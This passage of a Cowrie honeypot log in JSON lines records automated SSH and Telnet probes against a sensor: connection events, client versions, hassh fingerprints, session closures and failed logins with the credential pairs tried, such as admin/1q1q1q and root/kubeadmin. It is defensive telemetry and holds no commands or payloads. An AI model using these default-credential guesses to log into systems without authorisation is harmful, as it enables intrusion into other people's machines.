{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:03.235677Z","src_ip":"201.184.50.251","session":"d11eab24646d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q1q1q","message":"login attempt [admin/1q1q1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:03.588506Z","src_ip":"201.184.50.251","session":"d11eab24646d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:04.672272Z","src_ip":"201.184.50.251","session":"d11eab24646d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.44392490386963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:05.554711Z","src_ip":"69.6.196.124","session":"5591234c826b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":58910,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddc71cbd2907","protocol":"ssh","message":"New connection: 103.129.221.202:58910 (10.17.0.5:22) [session: ddc71cbd2907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:05.963286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:05.968602Z","src_ip":"103.129.221.202","session":"ddc71cbd2907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:06.215820Z","src_ip":"103.129.221.202","session":"ddc71cbd2907","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:07.241574Z","src_ip":"103.129.221.202","session":"ddc71cbd2907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:08.491925Z","src_ip":"103.129.221.202","session":"ddc71cbd2907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.552602767944336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:16.567495Z","src_ip":"69.6.196.124","session":"d5ec0e6fc199","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.276922464370728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:17.304849Z","src_ip":"69.6.196.124","session":"2ac8b619ba2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":59306,"dst_ip":"10.17.0.5","dst_port":22,"session":"df08cbc7fc31","protocol":"ssh","message":"New connection: 41.63.62.103:59306 (10.17.0.5:22) [session: df08cbc7fc31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:21.872391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:21.877030Z","src_ip":"41.63.62.103","session":"df08cbc7fc31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:22.146897Z","src_ip":"41.63.62.103","session":"df08cbc7fc31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42450,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a30a32aa94c","protocol":"telnet","message":"New connection: 69.6.196.124:42450 (159.203.135.109:23) [session: 8a30a32aa94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:22.524454Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@55word","message":"login attempt [admin/P@55word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:23.250870Z","src_ip":"41.63.62.103","session":"df08cbc7fc31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:24.525117Z","src_ip":"41.63.62.103","session":"df08cbc7fc31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.052318334579468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:28.487804Z","src_ip":"69.6.196.124","session":"5f1e615dd805","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42458,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c500e055aa4","protocol":"telnet","message":"New connection: 69.6.196.124:42458 (159.203.135.109:23) [session: 7c500e055aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:28.649112Z"}
{"eventid":"cowrie.session.closed","duration":30.984575748443604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:33.651649Z","src_ip":"69.6.196.124","session":"da387cce37d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":57546,"dst_ip":"10.17.0.5","dst_port":22,"session":"de7af8b397e6","protocol":"ssh","message":"New connection: 103.13.206.100:57546 (10.17.0.5:22) [session: de7af8b397e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:38.219088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:38.224000Z","src_ip":"103.13.206.100","session":"de7af8b397e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:38.461751Z","src_ip":"103.13.206.100","session":"de7af8b397e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser2024","message":"login attempt [testuser/testuser2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:39.456272Z","src_ip":"103.13.206.100","session":"de7af8b397e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:40.696365Z","src_ip":"103.13.206.100","session":"de7af8b397e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":41680,"dst_ip":"10.17.0.5","dst_port":22,"session":"43dfaf3ce536","protocol":"ssh","message":"New connection: 152.32.171.213:41680 (10.17.0.5:22) [session: 43dfaf3ce536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:43.842873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:43.847196Z","src_ip":"152.32.171.213","session":"43dfaf3ce536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:44.064386Z","src_ip":"152.32.171.213","session":"43dfaf3ce536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"abc123","message":"login attempt [test1/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:44.962090Z","src_ip":"152.32.171.213","session":"43dfaf3ce536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:46.182356Z","src_ip":"152.32.171.213","session":"43dfaf3ce536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.029648780822754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:53.553965Z","src_ip":"69.6.196.124","session":"8a30a32aa94c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.166422843933105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:59.815388Z","src_ip":"69.6.196.124","session":"7c500e055aa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":52176,"dst_ip":"10.17.0.5","dst_port":22,"session":"6889c64d09fe","protocol":"ssh","message":"New connection: 1.235.192.214:52176 (10.17.0.5:22) [session: 6889c64d09fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:06.229138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:06.233232Z","src_ip":"1.235.192.214","session":"6889c64d09fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:06.414920Z","src_ip":"1.235.192.214","session":"6889c64d09fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"a12345678","message":"login attempt [test/a12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:07.371202Z","src_ip":"1.235.192.214","session":"6889c64d09fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:08.555161Z","src_ip":"1.235.192.214","session":"6889c64d09fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":36222,"dst_ip":"10.17.0.5","dst_port":23,"session":"b98ef32c5606","protocol":"telnet","message":"New connection: 185.53.58.141:36222 (10.17.0.5:23) [session: b98ef32c5606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:13.448113Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":54924,"dst_ip":"10.17.0.5","dst_port":22,"session":"acfa43199aed","protocol":"ssh","message":"New connection: 41.63.62.103:54924 (10.17.0.5:22) [session: acfa43199aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:28.676195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:28.681327Z","src_ip":"41.63.62.103","session":"acfa43199aed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:28.949715Z","src_ip":"41.63.62.103","session":"acfa43199aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kubeadmin","message":"login attempt [root/kubeadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:30.051165Z","src_ip":"41.63.62.103","session":"acfa43199aed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":47594,"dst_ip":"10.17.0.5","dst_port":22,"session":"e43db7f8a4c0","protocol":"ssh","message":"New connection: 103.129.221.202:47594 (10.17.0.5:22) [session: e43db7f8a4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:30.901585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:30.906150Z","src_ip":"103.129.221.202","session":"e43db7f8a4c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 